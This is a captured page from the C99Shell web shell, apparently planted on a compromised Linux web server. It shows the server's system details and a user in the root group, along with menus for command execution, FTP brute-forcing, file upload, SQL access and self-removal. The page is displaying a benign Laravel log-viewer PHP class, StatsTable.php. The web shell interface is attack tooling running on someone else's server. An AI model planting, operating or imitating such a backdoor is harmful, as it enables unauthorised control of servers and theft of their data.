!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/arcanedev/log-viewer/src/Tables/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StatsTable.php (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Arcanedev\LogViewer\Tables;

use 
Arcanedev\LogViewer\Contracts\Utilities\LogLevels as LogLevelsContract;
use 
Illuminate\Support\{ArrCollection};

/**
 * Class     StatsTable
 *
 * @author   ARCANEDEV <arcanedev.maroc@gmail.com>
 */
class StatsTable extends AbstractTable
{
    
/* -----------------------------------------------------------------
     |  Main Methods
     | -----------------------------------------------------------------
     */

    /**
     * Make a stats table instance.
     *
     * @param  array                                               $data
     * @param  \Arcanedev\LogViewer\Contracts\Utilities\LogLevels  $levels
     * @param  string|null                                         $locale
     *
     * @return $this
     */
    
public static function make(array $dataLogLevelsContract $levels$locale null)
    {
        return new static(
$data$levels$locale);
    }

    
/* -----------------------------------------------------------------
     |  Other Methods
     | -----------------------------------------------------------------
     */

    /**
     * Prepare table header.
     *
     * @param  array  $data
     *
     * @return array
     */
    
protected function prepareHeader(array $data)
    {
        return 
array_merge_recursive(
            [
                
'date' => __('Date'),
                
'all'  => __('All'),
            ],
            
$this->levels->names($this->locale)
        );
    }

    
/**
     * Prepare table rows.
     *
     * @param  array  $data
     *
     * @return array
     */
    
protected function prepareRows(array $data)
    {
        
$rows = [];

        foreach (
$data as $date => $levels) {
            
$rows[$date] = array_merge(compact('date'), $levels);
        }

        return 
$rows;
    }

    
/**
     * Prepare table footer.
     *
     * @param  array  $data
     *
     * @return array
     */
    
protected function prepareFooter(array $data)
    {
        
$footer = [];

        foreach (
$data as $date => $levels) {
            foreach (
$levels as $level => $count) {
                if ( ! isset(
$footer[$level])) {
                    
$footer[$level] = 0;
                }

                
$footer[$level] += $count;
            }
        }

        return 
$footer;
    }

    
/**
     * Get totals.
     *
     * @param  string|null  $locale
     *
     * @return \Illuminate\Support\Collection
     */
    
public function totals($locale null)
    {
        
$totals Collection::make();

        foreach (
Arr::except($this->footer(), 'all') as $level => $count) {
            
$totals->put($level, [
                
'label'     => log_levels()->get($level$locale),
                
'value'     => $count,
                
'color'     => $this->color($level),
                
'highlight' => $this->color($level),
            ]);
        }

        return 
$totals;
    }

    
/**
     * Get json totals data.
     *
     * @param  string|null  $locale
     *
     * @return string
     */
    
public function totalsJson($locale null)
    {
        return 
$this->totals($locale)->toJson(JSON_PRETTY_PRINT);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--